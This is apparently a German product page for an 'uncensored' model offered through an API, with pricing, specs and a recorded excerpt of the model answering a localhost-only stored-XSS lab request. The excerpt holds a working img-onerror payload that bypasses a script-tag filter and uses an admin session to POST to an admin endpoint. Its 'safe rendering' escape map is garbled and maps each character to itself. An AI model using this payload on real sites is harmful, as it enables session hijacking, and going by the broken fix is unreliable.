Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.
GLM-5.3 Uncensored
glm-5.3-uncensoredIm Browser-Chat und über die OpenAI-kompatible API verfügbar.
Tokenpreise
Preise in USD pro 1 Million Token
- Eingabe / 1M
- 0,350 $
- Zwischengespeichert / 1M
- 0,100 $
- Ausgabe / 1M
- 0,350 $
Modellspezifikationen
Zhipu AI · unzensiert
- Kontextfenster
- 1.000.000 Tokens
- Maximale Ausgabe
- 65.536 Tokens
- Fähigkeiten
- Text · Streaming · Tool-Aufrufe
Gemessene Leistung
- Ø Tokens/Sek.
- ≈ 33,7
- TTFT-Schätzung
- 2,4 s
- Verfügbarkeitsindikator
- 99,2%
Aktualisiert 01.11.26, 20:36:37 UTC · Anbieter-Erfolgsquote über 24 Stunden · Ein Strich bedeutet, dass aktuelle Messdaten fehlen.
Sieh die Modellantwort
Eine echte Antwort auf eine Stored-XSS-Frage für ein lokales Testlabor. Originalfrage und Antwort sind auf Englisch. Die Ausgabe ist Text; hier wird kein Beispielcode ausgeführt.
GLM-5.3 Uncensored
Aufgezeichnete Modellantwort · 28.10.2026, 19:07 UTC
Ausgewählter Auszug aus der aufgezeichneten Antwort. Einige Teile wurden ausgelassen.
Malicious comment (submit via the form):
<img src=x onerror="fetch('/admin/banner',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'banner=OWNED IN THE LAB',credentials:'same-origin'})">Why it works: The filter strips <script> tags, but <img> with onerror fires when the broken image loads. The admin's cookie (set by the page) is automatically sent with fetch via credentials: 'same-origin', authenticating the POST.
Reproduce:
node server.js
# Browser: http://localhost:3000
# Paste the malicious comment, submit
# Simulated admin visits /admin
# Payload fires → POST /admin/banner with fake session cookie
# Server console shows: [ADMIN] Banner set to: OWNED IN THE LABFix — safe rendering:
// Replace raw interpolation with escaping:
const esc = s => s.replace(/[&<>"']/g, c =>
({'&':'&','<':'<','>':'>','"':'"',"'":'''}[c]));
const rendered = comments.map(c => `<li>${esc(c)}</li>`).join('');Escaping at render-time neutralizes event handlers, script tags, and all other injection vectors. Token-based session validation (not just cookie presence) is the complementary server-side fix.
Ein aufgezeichnetes Beispiel, kein Live-Chat.Chat öffnen
Dieses Modell über die API nutzen
Erstelle einen API-Schlüssel und lade Guthaben auf. Setze UNCENSOREDLABS_API_KEY in deiner Umgebung. Installiere das Paket openai für JavaScript oder Python.
curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
-H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"model": "glm-5.3-uncensored",
"messages": [{"role": "user", "content": "Hello, world."}],
"max_tokens": 256,
"stream": true
}' OpenAI-kompatibel. Ändern Sie Ihre Basis-URL.Schnellstart lesen
Einschränkungen und Abrechnung
- Ungefiltert garantiert keine Antwort auf jede Anfrage. Antworten können falsch oder unvollständig sein oder vom Modell verweigert werden.
- Die maximale Ausgabe ist das Dienstlimit von UncensoredLabs. Lange Generierungen und Aufgaben mit vollem Kontext wurden nicht per Benchmark geprüft.
- Guthaben wird für die angeforderte Ausgabe und eine konservative Eingabegrenze reserviert. Bei Modellen ohne verifizierte anfragebezogene Abrechnung gilt das volle Kontextfenster. Endgültige Gebühren beruhen auf verifizierter Nutzung; unklare Anfragen können ihre Reservierung behalten.
- Anfragen haben ein Zeitlimit von zehn Minuten. Raten- und Parallelitätslimits sowie die Anbieterverfügbarkeit gelten; API-Fehler umfassen 429 mit Retry-After.
- UncensoredLabs speichert keine Eingaben oder Antworten auf seinen Servern. Es gilt die Aufbewahrungsrichtlinie des Inferenzanbieters.